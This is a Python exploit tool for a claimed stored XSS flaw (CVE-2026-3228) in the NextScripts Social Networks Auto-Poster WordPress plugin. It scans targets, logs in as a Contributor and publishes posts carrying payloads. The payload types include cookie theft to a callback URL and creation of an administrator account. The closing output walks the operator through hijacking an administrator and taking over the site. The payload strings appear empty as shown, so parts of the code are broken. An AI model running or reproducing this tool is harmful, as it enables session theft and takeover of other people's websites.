#!/usr/bin/env python3 """ CVE-2026-3228.py - NextScripts WordPress Plugin Stored XSS Scanner & Exploit """ import argparse import requests import sys import re import base64 import urllib3 from requests.exceptions import RequestException from bs4 import BeautifulSoup import warnings import time print(""" ███╗░░██╗██╗░░░██╗██╗░░░░░██╗░░░░░██████╗░░█████╗░░█████╗░  ░█████╗░██╗░░██╗ ████╗░██║██║░░░██║██║░░░░░██║░░░░░╚════██╗██╔══██╗██╔══██╗  ██╔══██╗██║░██╔╝ ██╔██╗██║██║░░░██║██║░░░░░██║░░░░░░░███╔═╝██║░░██║██║░░██║  ██║░░██║█████═╝░ ██║╚████║██║░░░██║██║░░░░░██║░░░░░██╔══╝░░██║░░██║██║░░██║  ██║░░██║██╔═██╗░ ██║░╚███║╚██████╔╝███████╗███████╗███████╗╚█████╔╝╚█████╔╝  ╚█████╔╝██║░╚██╗ ╚═╝░░╚══╝░╚═════╝░╚══════╝╚══════╝╚══════╝░╚════╝░░╚════╝░  ░╚════╝░╚═╝░░╚═╝ CVE-2026-3228.py - NextScripts WordPress Plugin Stored XSS Scanner & Exploit Vulnerability in NextScripts: Social Networks Auto-Poster <= 4.4.6 allows authenticated attackers with Contributor-level access to inject malicious scripts via the [nxs_fbembed] shortcode. – NULL200OL-AI💀🔥created by NABEEL """) # Suppress SSL warnings for self-signed certificates urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) warnings.filterwarnings("ignore", category=UserWarning, module='bs4') # ==================== CVE Information ==================== CVE_ID = "CVE-2026-3228" CVE_DESCRIPTION = ( "The NextScripts: Social Networks Auto-Poster plugin for WordPress is vulnerable " "to Stored Cross-Site Scripting via the [nxs_fbembed] shortcode in all versions " "up to, and including, 4.4.6. This is due to insufficient input sanitization and " "output escaping on the snapFB post meta value." ) CVE_CAUSE = ( "The vulnerability stems from two fundamental security failures:\n" " 1. Insufficient input sanitization - The plugin fails to properly sanitize the\n" " snapFB post meta value when processing the [nxs_fbembed] shortcode.\n" " 2. Insufficient output escaping - When displaying the content, the plugin fails\n" " to escape the output, allowing injected scripts to execute in victims' browsers.\n" "This combination allows malicious JavaScript to be stored in the database and " "executed when any user (including administrators) views the affected page." ) CVE_IMPACT = ( "An attacker with Contributor-level access can:\n" " - Inject arbitrary JavaScript into WordPress pages\n" " - Hijack administrator sessions when they view the page\n" " - Create new admin accounts\n" " - Install malicious plugins\n" " - Deface the website\n" " - Steal sensitive information including database credentials\n" "The script executes in the context of the victim user, potentially leading to\n" "complete site compromise." ) # ==================== Configuration ==================== TIMEOUT = 10 USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" # WordPress login and post endpoints WP_LOGIN_URL = "/wp-login.php" WP_ADMIN_URL = "/wp-admin/" WP_POST_NEW_URL = "/wp-admin/post-new.php" WP_POST_PHP = "/wp-admin/post.php" WP_REST_API = "/wp-json/wp/v2/posts" class WordPressAuthenticator: """Handle WordPress authentication and session management""" def __init__(self, target, username, password, timeout=TIMEOUT): self.target = target.rstrip('/') self.username = username self.password = password self.timeout = timeout self.session = requests.Session() self.session.headers.update({'User-Agent': USER_AGENT}) self.session.verify = False self.logged_in = False self.nonce = None self.user_id = None def login(self): """Authenticate to WordPress""" login_url = f"{self.target}{WP_LOGIN_URL}" # First get the login page to extract any nonces try: resp = self.session.get(login_url, timeout=self.timeout) if resp.status_code != 200: print(f"[-] Failed to access login page: HTTP {resp.status_code}") return False except RequestException as e: print(f"[-] Error accessing login page: {e}") return False # Prepare login data login_data = { 'log': self.username, 'pwd': self.password, 'wp-submit': 'Log In', 'redirect_to': f"{self.target}{WP_ADMIN_URL}", 'testcookie': '1' } # Extract redirect_to from the page if present soup = BeautifulSoup(resp.text, 'html.parser') redirect_input = soup.find('input', {'name': 'redirect_to'}) if redirect_input and redirect_input.get('value'): login_data['redirect_to'] = redirect_input['value'] # Submit login try: resp = self.session.post(login_url, data=login_data, timeout=self.timeout, allow_redirects=True) # Check if login was successful by looking for admin bar or dashboard if 'wp-admin' in resp.url or '/wp-admin/' in resp.text: self.logged_in = True print(f"[+] Successfully logged in as '{self.username}'") # Extract user info and nonce self._extract_user_info(resp.text) return True else: print("[-] Login failed - check credentials") return False except RequestException as e: print(f"[-] Error during login: {e}") return False def _extract_user_info(self, html): """Extract user ID and nonce from page HTML""" # Try to find user ID in admin bar user_pattern = r']*class="[^"]*user-admin-menu[^"]*"[^>]*data-user="(\d+)"' match = re.search(user_pattern, html) if match: self.user_id = match.group(1) print(f"[+] Found user ID: {self.user_id}") # Try to find a nonce (for future use) nonce_pattern = r'name="_wpnonce" value="([a-f0-9]+)"' match = re.search(nonce_pattern, html) if match: self.nonce = match.group(1) print(f"[+] Found WordPress nonce") def check_user_role(self): """Check if logged-in user has at least Contributor role""" if not self.logged_in: return False profile_url = f"{self.target}/wp-admin/profile.php" try: resp = self.session.get(profile_url, timeout=self.timeout) if resp.status_code == 200: # Look for role indicators in the page if 'Contributor' in resp.text or 'Administrator' in resp.text or 'Editor' in resp.text or 'Author' in resp.text: # Check if user can access post editor if self.can_access_editor(): return True return False except: return False def can_access_editor(self): """Check if user can access the post editor""" try: resp = self.session.get(f"{self.target}{WP_POST_NEW_URL}", timeout=self.timeout) return resp.status_code == 200 and 'post-title' in resp.text except: return False class CVEScanner: """Scan for CVE-2026-3228 vulnerability""" def __init__(self, target, timeout=TIMEOUT): self.target = target.rstrip('/') self.timeout = timeout self.session = requests.Session() self.session.headers.update({'User-Agent': USER_AGENT}) self.session.verify = False def check_wordpress(self): """Check if target is running WordPress""" try: # Check for WordPress identifiers resp = self.session.get(self.target, timeout=self.timeout) if resp.status_code == 200: if 'wp-content' in resp.text or 'wp-includes' in resp.text or 'WordPress' in resp.text: return True return False except: return False def check_plugin_version(self): """Check if vulnerable plugin is installed and get version""" # Try to read plugin readme file readme_urls = [ f"{self.target}/wp-content/plugins/social-networks-auto-poster-facebook-twitter-g/readme.txt", f"{self.target}/wp-content/plugins/social-networks-auto-poster/readme.txt", f"{self.target}/wp-content/plugins/nextscripts-social-networks-auto-poster/readme.txt" ] for url in readme_urls: try: resp = self.session.get(url, timeout=self.timeout) if resp.status_code == 200: # Extract version from readme version_match = re.search(r'Stable tag:\s*(\d+\.\d+\.\d+)', resp.text, re.IGNORECASE) if version_match: version = version_match.group(1) print(f"[+] Found plugin version: {version}") return version # Alternative pattern version_match = re.search(r'Version:\s*(\d+\.\d+\.\d+)', resp.text, re.IGNORECASE) if version_match: version = version_match.group(1) print(f"[+] Found plugin version: {version}") return version except: continue # Try to find version in JavaScript files js_patterns = [ f"{self.target}/wp-content/plugins/social-networks-auto-poster-facebook-twitter-g/NextScripts_SNAP.js", f"{self.target}/wp-content/plugins/social-networks-auto-poster-facebook-twitter-g/js/nxs.js" ] for url in js_patterns: try: resp = self.session.get(url, timeout=self.timeout) if resp.status_code == 200: version_match = re.search(r'version[:\s]*["\'](\d+\.\d+\.\d+)', resp.text, re.IGNORECASE) if version_match: return version_match.group(1) except: continue return None def is_version_vulnerable(self, version): """Check if version is <= 4.4.6""" if not version: return None def parse_version(v): parts = re.findall(r'\d+', v) while len(parts) < 3: parts.append('0') return tuple(int(p) for p in parts[:3]) try: version_tuple = parse_version(version) max_tuple = parse_version('4.4.6') return version_tuple <= max_tuple except: return False def check_vulnerability_indicators(self): """Look for signs that the plugin is active and vulnerable""" indicators = [] # Check if plugin files exist plugin_paths = [ "/wp-content/plugins/social-networks-auto-poster-facebook-twitter-g/", "/wp-content/plugins/social-networks-auto-poster/", "/wp-content/plugins/nextscripts-social-networks-auto-poster/" ] for path in plugin_paths: try: resp = self.session.get(f"{self.target}{path}", timeout=self.timeout) if resp.status_code == 200: indicators.append(f"Plugin directory accessible: {path}") except: continue # Check for the shortcode in published posts try: resp = self.session.get(self.target, timeout=self.timeout) if '[nxs_fbembed' in resp.text: indicators.append("Plugin shortcode [nxs_fbembed] found in content") except: pass return indicators class CVEExploiter: """Exploit CVE-2026-3228 by injecting malicious script""" def __init__(self, authenticator, target, timeout=TIMEOUT): self.auth = authenticator self.target = target.rstrip('/') self.timeout = timeout self.session = authenticator.session def inject_payload(self, payload, post_title=None, post_content=""): """ Inject XSS payload via the vulnerable [nxs_fbembed] shortcode Returns (success, post_id, post_url) or (False, None, None) """ if not self.auth.logged_in: print("[-] Not authenticated. Cannot inject payload.") return False, None, None # Generate a default post title if not provided if not post_title: post_title = f"CVE-2026-3228 Test Post - {time.strftime('%Y-%m-%d %H:%M:%S')}" # Construct the malicious shortcode # The vulnerability is triggered through the snapFB post meta # We need to inject the payload in a way that it gets stored and executed # Method 1: Try to use the REST API if available rest_url = f"{self.target}{WP_REST_API}" headers = { 'Content-Type': 'application/json', 'X-WP-Nonce': self.auth.nonce if self.auth.nonce else '' } # Prepare post data with malicious shortcode # The payload needs to be in the snapFB meta field post_data = { 'title': post_title, 'content': post_content, 'status': 'publish', 'meta': { 'snapFB': payload # The vulnerable meta field } } # Add the shortcode to content as well for demonstration if '[nxs_fbembed' not in post_content: post_data['content'] += f"\n\n[nxs_fbembed]{payload}[/nxs_fbembed]" try: # Try REST API first resp = self.session.post(rest_url, json=post_data, headers=headers, timeout=self.timeout) if resp.status_code in [200, 201]: data = resp.json() post_id = data.get('id') post_url = data.get('link') print(f"[+] Payload injected via REST API - Post ID: {post_id}") return True, post_id, post_url except: pass # Method 2: Fallback to traditional post creation print("[*] REST API failed, trying traditional post creation...") # Get the post editor page to extract nonce try: resp = self.session.get(f"{self.target}{WP_POST_NEW_URL}", timeout=self.timeout) if resp.status_code != 200: print("[-] Cannot access post editor") return False, None, None # Extract nonce nonce_pattern = r'name="_wpnonce" value="([a-f0-9]+)"' match = re.search(nonce_pattern, resp.text) wp_nonce = match.group(1) if match else '' # Extract post ID if editing post_id_pattern = r'post=(\d+)' match = re.search(post_id_pattern, resp.text) # Prepare post data post_action_url = f"{self.target}{WP_POST_PHP}" post_data = { '_wpnonce': wp_nonce, '_wp_http_referer': '/wp-admin/post-new.php', 'user_ID': self.auth.user_id if self.auth.user_id else '1', 'action': 'editpost', 'originalaction': 'editpost', 'post_author': self.auth.user_id if self.auth.user_id else '1', 'post_type': 'post', 'original_post_status': 'draft', 'referredby': f"{self.target}/wp-admin/post-new.php", 'post_title': post_title, 'content': post_content + f"\n\n[nxs_fbembed]{payload}[/nxs_fbembed]", 'publish': 'Publish', 'meta': { 'snapFB': payload } } # Add meta as form fields # WordPress expects meta in a specific format meta_data = { 'snapFB': payload } # Flatten meta for form submission for key, value in meta_data.items(): post_data[f'meta[{key}]'] = value # Submit the post resp = self.session.post(post_action_url, data=post_data, timeout=self.timeout, allow_redirects=True) if resp.status_code == 200: # Try to extract the new post ID from the redirect post_id_match = re.search(r'post=(\d+)', resp.url) if post_id_match: post_id = post_id_match.group(1) post_url = f"{self.target}/?p={post_id}" print(f"[+] Payload injected via traditional post - Post ID: {post_id}") return True, post_id, post_url else: print("[+] Payload injected, but couldn't determine post ID") return True, None, None print(f"[-] Failed to create post: HTTP {resp.status_code}") return False, None, None except RequestException as e: print(f"[-] Error during exploitation: {e}") return False, None, None except Exception as e: print(f"[-] Unexpected error: {e}") return False, None, None def generate_payloads(self, payload_type='alert', custom_js=None, callback_url=None): """Generate various XSS payloads""" payloads = {} if payload_type == 'alert' or payload_type == 'all': payloads['alert'] = '' if payload_type == 'cookie' or payload_type == 'all': payloads['cookie_steal'] = '' if payload_type == 'admin' or payload_type == 'all': payloads['create_admin'] = ''' ''' if payload_type == 'custom' and custom_js: payloads['custom'] = f'' if payload_type == 'html' or payload_type == 'all': payloads['html_injection'] = '' return payloads # ==================== Helper Functions ==================== def print_info(): """Display detailed CVE information""" print(f"\n[+] {CVE_ID} - NextScripts WordPress Plugin Stored XSS") print("=" * 70) print("Description:") print(CVE_DESCRIPTION) print("\nWhy it happens:") print(CVE_CAUSE) print("\nImpact:") print(CVE_IMPACT) print("=" * 70) print("\nAffected Versions: All NextScripts: Social Networks Auto-Poster <= 4.4.6") print("Required Privileges: Contributor-level access or higher") print("=" * 70 + "\n") def verify_wordpress_installation(target): """Quick check if target is WordPress""" try: resp = requests.get(target.rstrip('/'), timeout=TIMEOUT, verify=False) if 'wp-content' in resp.text or 'wp-includes' in resp.text: return True return False except: return False # ==================== Main CLI ==================== def main(): parser = argparse.ArgumentParser( description=f"{CVE_ID} - NextScripts WordPress Plugin Stored XSS Scanner & Exploit", epilog="Use 'info' command for detailed vulnerability information.", formatter_class=argparse.RawDescriptionHelpFormatter ) subparsers = parser.add_subparsers(dest='command', required=True, help='Subcommands') # Info command subparsers.add_parser('info', help='Display detailed information about the CVE') # Scan command scan_parser = subparsers.add_parser('scan', help='Check if target is vulnerable') scan_parser.add_argument('target', help='Target WordPress site URL (e.g., http://example.com)') scan_parser.add_argument('--timeout', type=int, default=TIMEOUT, help='Request timeout in seconds') # Exploit command exploit_parser = subparsers.add_parser('exploit', help='Exploit the vulnerability (requires valid credentials)') exploit_parser.add_argument('target', help='Target WordPress site URL') exploit_parser.add_argument('-u', '--username', required=True, help='WordPress username (Contributor+)') exploit_parser.add_argument('-p', '--password', required=True, help='WordPress password') exploit_parser.add_argument('--payload-type', choices=['alert', 'cookie', 'admin', 'html', 'custom', 'all'], default='alert', help='Type of payload to inject') exploit_parser.add_argument('--custom-js', help='Custom JavaScript payload (when --payload-type=custom)') exploit_parser.add_argument('--callback-url', help='URL for cookie stealing payload') exploit_parser.add_argument('--post-title', help='Title for the malicious post') exploit_parser.add_argument('--post-content', default='This is a security test post.', help='Content for the post') exploit_parser.add_argument('--timeout', type=int, default=TIMEOUT, help='Request timeout in seconds') exploit_parser.add_argument('--no-verify', action='store_true', help='Skip WordPress verification') # Check command (combination of scan + quick auth check) check_parser = subparsers.add_parser('check', help='Comprehensive check with credentials') check_parser.add_argument('target', help='Target WordPress site URL') check_parser.add_argument('-u', '--username', required=True, help='WordPress username') check_parser.add_argument('-p', '--password', required=True, help='WordPress password') check_parser.add_argument('--timeout', type=int, default=TIMEOUT, help='Request timeout in seconds') args = parser.parse_args() # Handle info command if args.command == 'info': print_info() sys.exit(0) # Handle scan command if args.command == 'scan': target = args.target.rstrip('/') print(f"[*] Scanning {target} for {CVE_ID}...\n") # Check if it's WordPress if not verify_wordpress_installation(target): print("[-] Target does not appear to be a WordPress site.") sys.exit(1) print("[+] Target appears to be running WordPress") # Initialize scanner scanner = CVEScanner(target, timeout=args.timeout) # Check plugin version version = scanner.check_plugin_version() if version: print(f"[+] Plugin version detected: {version}") vulnerable = scanner.is_version_vulnerable(version) if vulnerable: print("[!] Version is VULNERABLE (≤ 4.4.6)") elif vulnerable is False: print("[+] Version is NOT vulnerable (> 4.4.6)") else: print("[?] Could not determine vulnerability status") else: print("[?] Could not detect plugin version") # Check for vulnerability indicators indicators = scanner.check_vulnerability_indicators() if indicators: print("\n[*] Vulnerability indicators found:") for ind in indicators: print(f" - {ind}") else: print("\n[-] No obvious vulnerability indicators found") print("\n[*] Scan complete. Note: This is a pre-authentication check.") print("[*] To confirm vulnerability, you need valid credentials and use the 'exploit' command.") sys.exit(0) # Handle check command (comprehensive with credentials) if args.command == 'check': target = args.target.rstrip('/') print(f"[*] Performing comprehensive check on {target}...\n") # Verify WordPress if not args.no_verify and not verify_wordpress_installation(target): print("[-] Target does not appear to be a WordPress site.") sys.exit(1) # Authenticate auth = WordPressAuthenticator(target, args.username, args.password, timeout=args.timeout) if not auth.login(): print("[-] Authentication failed") sys.exit(1) # Check user role if auth.check_user_role(): print("[+] User has sufficient privileges (Contributor+)") else: print("[-] User does NOT have sufficient privileges (need Contributor+)") print("[-] Exploitation requires Contributor-level access or higher") sys.exit(1) # Check plugin version scanner = CVEScanner(target, timeout=args.timeout) version = scanner.check_plugin_version() if version: print(f"[+] Plugin version: {version}") if scanner.is_version_vulnerable(version): print("[!] Version is VULNERABLE (≤ 4.4.6)") print("\n[+] Target appears EXPLOITABLE with current credentials!") else: print("[+] Version is NOT vulnerable (> 4.4.6)") print("[-] Target is NOT vulnerable to CVE-2026-3228") else: print("[?] Could not determine plugin version") print("[?] Manual verification recommended") sys.exit(0) # Handle exploit command if args.command == 'exploit': target = args.target.rstrip('/') print(f"[*] Exploiting {target} for {CVE_ID}...\n") # Verify WordPress if not disabled if not args.no_verify: if not verify_wordpress_installation(target): print("[-] Target does not appear to be a WordPress site.") proceed = input("[?] Continue anyway? (y/N): ") if proceed.lower() != 'y': sys.exit(1) # Authenticate print(f"[*] Authenticating as '{args.username}'...") auth = WordPressAuthenticator(target, args.username, args.password, timeout=args.timeout) if not auth.login(): print("[-] Authentication failed. Check credentials.") sys.exit(1) # Check user role print("[*] Checking user privileges...") if not auth.check_user_role(): print("[-] User does NOT have sufficient privileges (need Contributor+)") print("[-] Exploitation requires Contributor-level access or higher") sys.exit(1) print("[+] User has sufficient privileges") # Initialize exploiter exploiter = CVEExploiter(auth, target, timeout=args.timeout) # Generate payloads print(f"[*] Generating {args.payload_type} payload...") payloads = exploiter.generate_payloads( payload_type=args.payload_type, custom_js=args.custom_js, callback_url=args.callback_url ) if not payloads: print("[-] No payloads generated") sys.exit(1) # Inject each payload successful_injections = 0 for payload_name, payload_code in payloads.items(): print(f"\n[*] Injecting payload: {payload_name}") print(f"[*] Payload: {payload_code[:100]}{'...' if len(payload_code) > 100 else ''}") success, post_id, post_url = exploiter.inject_payload( payload=payload_code, post_title=args.post_title or f"CVE-2026-3228 Test - {payload_name}", post_content=args.post_content ) if success: successful_injections += 1 print(f"[+] Payload '{payload_name}' injected successfully!") if post_url: print(f"[+] Malicious post URL: {post_url}") print(f"[+] View this URL as an administrator to trigger the XSS") if post_id: print(f"[+] Post ID: {post_id}") # If this is an alert payload, offer to open browser if payload_name == 'alert': print("\n[*] To trigger the XSS:") print(f" 1. Visit: {post_url or (target + '/?p=' + str(post_id))}") print(" 2. The alert box will appear if the vulnerability exists") try: import webbrowser open_browser = input("\n[?] Open browser to trigger XSS now? (y/N): ") if open_browser.lower() == 'y' and post_url: webbrowser.open(post_url) print("[*] Browser opened. Check for alert box.") except: pass else: print(f"[-] Failed to inject payload '{payload_name}'") # Summary print(f"\n{'=' * 50}") print("EXPLOITATION SUMMARY") print(f"{'=' * 50}") print(f"Successful injections: {successful_injections}/{len(payloads)}") if successful_injections > 0: print("\n[!] NEXT STEPS:") print(" 1. An administrator needs to view the injected post/page") print(" 2. The JavaScript will execute in their browser") print(" 3. For cookie stealing: set up a listener on your callback URL") print(" 4. For admin creation: check for new admin accounts after admin views the page") print("\n[!] CLEANUP:") print(" Delete the test posts from WordPress admin to remove the payloads") else: print("\n[-] Exploitation failed. Target may not be vulnerable.") sys.exit(0 if successful_injections > 0 else 1) if __name__ == '__main__': try: main() except KeyboardInterrupt: print("\n[!] Interrupted by user") sys.exit(1) except Exception as e: print(f"\n[!] Unexpected error: {e}") sys.exit(1)